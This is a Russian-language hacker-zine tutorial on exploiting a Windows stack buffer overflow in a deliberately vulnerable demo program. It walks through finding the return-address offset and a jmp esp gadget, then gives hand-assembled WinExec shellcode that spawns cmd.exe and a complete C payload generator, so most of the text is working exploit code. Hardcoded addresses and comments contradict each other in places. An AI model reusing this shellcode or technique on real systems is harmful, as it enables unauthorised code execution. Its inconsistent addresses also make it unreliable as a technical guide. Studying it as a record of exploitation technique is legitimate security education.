/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
Stack Overflows in Action
by buLLet/UINC
1. Header
Сразу хочу предупредить, что данный шелл не совершенен и
максимально упрощен, к примеру вместо получения адреса необходимых
функций с помощью пары LoadLibrary/GetProcAddress используются прямые
ссылки, что локализирует действие данного шелла на те системы, на
которых адреса, зашитые в шелл совпадут с реальными адресами функций в
DLL. Очевидно от чего это зависит - если Windows загрузит DLL по другой
базе, то шелл вылетит с сообщением об ошибке.
...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто
индивидуально для каждой системы. Далее я опишу как определять эти
адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто
самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А
вообще нужно действовать несколько иначе: для особо продвинутых подскажу
идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...
2. Sections
Пишем собственную прогу вида
"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
char buffer[100]; // переполняемый буфер
strcpy(buffer,big);// собственно само переполнение
return 0;
}
int main ()
{
char big[512];
gets(big); // получение текствой строки-сюда-то мы и передаем наш
шелл
test(big); // вызов уязвимой функции
return 0;
}
В этом коде нет ничего сверхъестественного, а потому идем далее.
Как определить, что переполняется, где переполняется и чего куда
передавать? Элементарно! Берем, запускаем нашу программу
owerflow.exe(для танкистов - owerflow.exe получается путем компиляции
owerflow.c ) и передаем ей строку вида: Аааааа.........ааааааааа -
где-то примерно символов 110 для уверенности. И что мы видим?
Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы
взорвали буфер и как результат(об этом я и упоминал в первой части),
перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a').
А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных
строк символов передать строку опкодов, которая получила гордое название
шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под
четким оком SoftIce, легко понять что произошло: благодаря специфике
стека наша строка затерла собой как сохраненное значение ebp, так и
адрес возврата.
Обратите внимание, что адрес возврата затирается 104,105,106,107
символами нашей строки(это видно тогда, когда вместо ааа..аааа передется
последовательность символов с ASCII кодами начиная с 32 по 256), поэтому
необходимо сформировать строку так, чтобы 104-107 байты содержали адрес,
по которому нужно передать управление. Теперь выясним это самый адрес,
но сперва замечу, что байты с 100 по 103 перекрывают сохраненное
значение EBP - это нам тоже пригодится для формирования стэка, но об
этом позже.
Посмотрев в SoftIce содержимое регистра esp в момент переполнения,
легко установить, что там содержится адрес байта нашей строки,
следующего за последним из четырех байтов, перекрывающих EIP. Сие
означает следующее:
(*) (**) (***)
1 <-------------------> N -------------- N+4 ------------------- M
^
|
ESP
(*) - Символы, заполняющие буфер-приемник и потому не имеющие
значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой
EIP. Поэтому для корректного исполнения шелл-кода они должны содержать
адрес, по которому размещается первый байт нашего шелла, либо адрес
инструкции, переводящий процессор на исполнение этого первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш
шелл.
С помощью SoftIce удалось установить, что нужный нам адрес перехода
содержится в ESP после исполнения RET в вызываемой функции test -> если
переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика
нужно просто просмотреть значения регистров и командой D esp
просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку
начиная с N+4.
Отлично! Осталось заполнить строку, начиная со 108-позиции,
опкодами и передать управление по адресу в esp. Для этого снова
переполним программу при запущенном Sice и когда он всплывет введем
команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp
esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он
равен 77e98601, что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в
позиции 104-107 и получим, что при переполнении в eip будет помещен
адрес инструкции jmp esp из ntdll.dll, которая и перебросит нас на
108-позицию нашей строки.
Осталось эту самую строку наполнить опкодами. В качестве шелла
обычно используют код, реализующий загрузку консоли(для виндов это
аналогично окну Command Prompt). Для этого составим программу на C:
"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{
HMODULE hDll=LoadLibrary("kernel32.dll");
PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
WinExec исполняет программу, требует 2 параметра и располагается в
kernel32.dll. Все это работает потому, что kernel32.dll использует любая
программа и потому, что адрес не содержит нулевых байтов, наличие
которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого
он будет свой. Теперь нам нужно сформировать асм-код, вызывающий
WinExec. Вот он:
__asm {
mov esp,ebp ;формируем пролог
push ebp
mov ebp,esp
mov esi,esp
xor edi,edi;формируем завершающие нули
push edi
sub esp,18h//освобождаем в стэке место под строку
//стэк должен всегда быть выровнян на границу кратную 4
//для обеспечения гранулярности
mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
mov byte ptr [ebp-1bh],6Dh //'m'
mov byte ptr [ebp-1ah],64h //'d'
mov byte ptr [ebp-19h],2Eh //'.'
mov byte ptr [ebp-18h],65h //'e'
mov byte ptr [ebp-17h],78h //'x'
mov byte ptr [ebp-16h],65h //'e'
mov byte ptr [ebp-15h],20h //' '
mov byte ptr [ebp-14h],2fh //'/'
mov byte ptr [ebp-13h],4bh //'K'
mov byte ptr [ebp-12h],20h //' '
mov byte ptr [ebp-11h],73h //'s'
mov byte ptr [ebp-10h],74h //'t'
mov byte ptr [ebp-0fh],61h //'a'
mov byte ptr [ebp-0eh],72h //'r'
mov byte ptr [ebp-0dh],74h //'t'
mov byte ptr [ebp-0ch],20h //' '
mov byte ptr [ebp-0bh],63h //'c'
mov byte ptr [ebp-0ah],6dh //'m'
mov byte ptr [ebp-09h],64h //'d'
mov byte ptr [ebp-08h],2Eh //'.'
mov byte ptr [ebp-07h],65h //'e'
mov byte ptr [ebp-06h],78h //'x'
mov byte ptr [ebp-05h],65h //'e'
//поместить в eax адрес winexec полученный из pFunc
mov eax, 0x77e98601
//поместить в стэк адрес winexec
push eax
//передаем параметр SW_SHOW
push 05
//передаем адрес строки
lea eax,[ebp-1ch]
push eax
//ExitProcess в eax
mov eax,0x77e9b0bb
push eax //устанавливаем адрес возврата
mov eax, 0x77e98601
//перейти на точку входа winexec
jmp eax }
Теперь стэк имеет такой вид:
@ExitProcess << адрес возврата из WinExec (DWORD) <------- ESP
_______________________________________________________________
@строки, которую мы сформировали в стеке (DWORD)
_______________________________________________________________
0005 << параметр WinExec SW_SHOW
_______________________________________________________________
@WinExec << адрес WinExec (DWORD)
_______________________________________________________________
"cmd.exe /K cmd.exe" << строка, сформированная сплоитом в стеке
для WinExec (DWORD * 6)
_______________________________________________________________
EDI содержит выравнивающие нули (три байта) и заверщающий NULL
для строки (DWORD) <------- EBP
Этот код проверялся в Visual C++6.0 и все работает отлично. Ну
теперь осталось сформировать строку из опкодов. А где их взять? Да в том
же Visual C++ Debugger. Просто при трассировке из контекстного меню
выберите опцию Code Bytes при включенном Disassembly mode и вы получите
необходимые опкоды. Осталось только собрать все воедино:
"overflower.c"
#include <stdio.h>
int main()
{
int i;
char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
for (i=0;i<100;i++)
buf[i]=0x90;
// Перекрыть ebp адресом начала нашего строкового буфера,
// чтобы потом использовать его под стек, адрес передается
// через xor чтобы затереть нули. Затем инструкцией
// xor ebp,0xffffffff восстанавливаем первоначальный адрес
buf[100]=0x3f;
buf[101]=0x01;
buf[102]=0xed;
buf[103]=0xff;
//поместить адрес инструкции jmp esp
//расположенной в ntdll.dll по адресу 77f8948B
//в те 4 байта которые перекрывают eip
buf[104]=0x8b;
buf[105]=0x94;//89;
buf[106]=0xf8;//e8;
buf[107]=0x77;
buf[108]=0x90;
//xor ebp,0xffffffff <-формируем министек для последующего вызова
winexec
buf[109]=0x83;
buf[110]=0xf5;
buf[111]=0xff;
//****************
//mov esp,ebp
buf[112]=0x8b;
buf[113]=0xe5;
//******************
//push ebp
buf[114]=0x55;
//mov ebp,esp
buf[115]=0x8b;
buf[116]=0xec;
//xor edi,edi
buf[117]=0x33;
buf[118]=0xff;
//push edi
buf[119]=0x57;
//sub esp,18h
buf[120]=0x83;
buf[121]=0xec;
buf[122]=0x18;
//**********************************
//создание строки на стеке *
//mov byte ptr [ebp-19h],63h 'c'
buf[123]=0xc6;
buf[124]=0x45;
buf[125]=0xe4;
buf[126]=0x63;
//mov byte ptr [ebp-18h],6dh 'm'
buf[127]=0xc6;
buf[128]=0x45;
buf[129]=0xe5;
buf[130]=0x6d;
//mov byte ptr [ebp-17h],64h 'd'
buf[131]=0xc6;
buf[132]=0x45;
buf[133]=0xe6;
buf[134]=0x64;
//mov byte ptr [ebp-16h],2eh '.'
buf[135]=0xc6;
buf[136]=0x45;
buf[137]=0xe7;
buf[138]=0x2e;
//mov byte ptr [ebp-15h],65h 'e'
buf[139]=0xc6;
buf[140]=0x45;
buf[141]=0xe8;
buf[142]=0x65;
//mov byte ptr [ebp-14h],78h 'x'
buf[143]=0xc6;
buf[144]=0x45;
buf[145]=0xe9;
buf[146]=0x78;
//mov byte ptr [ebp-13h],65h 'e'
buf[147]=0xc6;
buf[148]=0x45;
buf[149]=0xea;
buf[150]=0x65;
//mov byte ptr [ebp-12h],20h ' '
buf[151]=0xc6;
buf[152]=0x45;
buf[153]=0xeb;
buf[154]=0x20;
//mov byte ptr [ebp-11h],2fh '/'
buf[155]=0xc6;
buf[156]=0x45;
buf[157]=0xec;
buf[158]=0x2f;
//mov byte ptr [ebp-10h],4bh 'K'
buf[159]=0xc6;
buf[160]=0x45;
buf[161]=0xed;
buf[162]=0x4b;
//mov byte ptr [ebp-0fh],20h ' '
buf[163]=0xc6;
buf[164]=0x45;
buf[165]=0xee;
buf[166]=0x20;
//mov byte ptr [ebp-0eh],73h 's'
buf[167]=0xc6;
buf[168]=0x45;
buf[169]=0xef;
buf[170]=0x73;
//mov byte ptr [ebp-0dh],74h 't'
buf[171]=0xc6;
buf[172]=0x45;
buf[173]=0xf0;
buf[174]=0x74;
//mov byte ptr [ebp-0ch],61h 'a'
buf[175]=0xc6;
buf[176]=0x45;
buf[177]=0xf1;
buf[178]=0x61;
//mov byte ptr [ebp-0bh],72h 'r'
buf[179]=0xc6;
buf[180]=0x45;
buf[181]=0xf2;
buf[182]=0x72;
//mov byte ptr [ebp-0ah],74h 't'
buf[183]=0xc6;
buf[184]=0x45;
buf[185]=0xf3;
buf[186]=0x74;
//mov byte ptr [ebp-9],20h ' '
buf[187]=0xc6;
buf[188]=0x45;
buf[189]=0xf4;
buf[190]=0x20;
//mov byte ptr [ebp-8],63h 'c'
buf[191]=0xc6;
buf[192]=0x45;
buf[193]=0xf5;
buf[194]=0x63;
//mov byte ptr [ebp-7],6dh 'm'
buf[195]=0xc6;
buf[196]=0x45;
buf[197]=0xf6;
buf[198]=0x6d;
//mov byte ptr [ebp-6],64h 'd'
buf[199]=0xc6;
buf[200]=0x45;
buf[201]=0xf7;
buf[202]=0x64;
//mov byte ptr [ebp-5],2eh '.'
buf[203]=0xc6;
buf[204]=0x45;
buf[205]=0xf8;
buf[206]=0x2e;
//mov byte ptr [ebp-4],65h 'e'
buf[207]=0xc6;
buf[208]=0x45;
buf[209]=0xf9;
buf[210]=0x65;
//mov byte ptr [ebp-3],78h 'x'
buf[211]=0xc6;
buf[212]=0x45;
buf[213]=0xfa;
buf[214]=0x78;
//mov byte ptr [ebp-2],65h 'e'
buf[215]=0xc6;
buf[216]=0x45;
buf[217]=0xfb;
buf[218]=0x65;
//*************************************
//mov eax,77 e9 86 01h <-Winexec address
buf[219]=0xb8;
buf[220]=0x01;
buf[221]=0x86;
buf[222]=0xe9;
buf[223]=0x77;
//push eax
buf[224]=0x50;
//push 05 <-SW_SHOW_NORMAL
buf[225]=0x6a;
buf[226]=0x05;
//lea eax,[ebp-1ch] <-адрес строки
buf[227]=0x8d;
buf[228]=0x45;
buf[229]=0xe4;
//push eax
buf[230]=0x50;
//эмулируем call dword ptr [ebp-0ch]
//для этого формируем адрес возврата и пушим его
//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
//таким образом прыгаем на winexec, которая возвращает
//управление на ExitProcess
//mov eax,0x77e8f32d <-ExitProcess
buf[231]=0xb8;
buf[232]=0x2d;
buf[233]=0xf3;
buf[234]=0xe8;
buf[235]=0x77;
//push eax <-сделать адресом возврата адрес переданный в eax
buf[236]=0x50;
//mov eax,0x77e8f32d <-WinExec address
buf[237]=0xb8;
buf[238]=0x01;
buf[239]=0x86;
buf[240]=0xe9;
buf[241]=0x77;
//jmp eax <-выполнить WinExec
buf[242]=0xff;
buf[243]=0xe0;
//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
for(i=0;i<256;i++)
{
printf("%c",buf[i]);
}
}
Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр
играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк,
но где? А почему не использовать под стэк наш буфер, заполненный NOP?
Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него
64h либо зададим искать строку 0х9090909090 - кто как желает, главное
найти адрес начала буфера.
Затем этот адрес поместим в EBP (помните в начале я акцентировал
внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и
поместим найденный адрес в эти байты предварительно удалив из него
нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах
булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес,
передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все!
Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции,
возможно я поправлю эти фичи и запортирую новый шелл, гораздо более
универсальный.
Happy END
Выражаю огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого
лежит здесь: http://www.hackzone.ru/articles/ntbo.html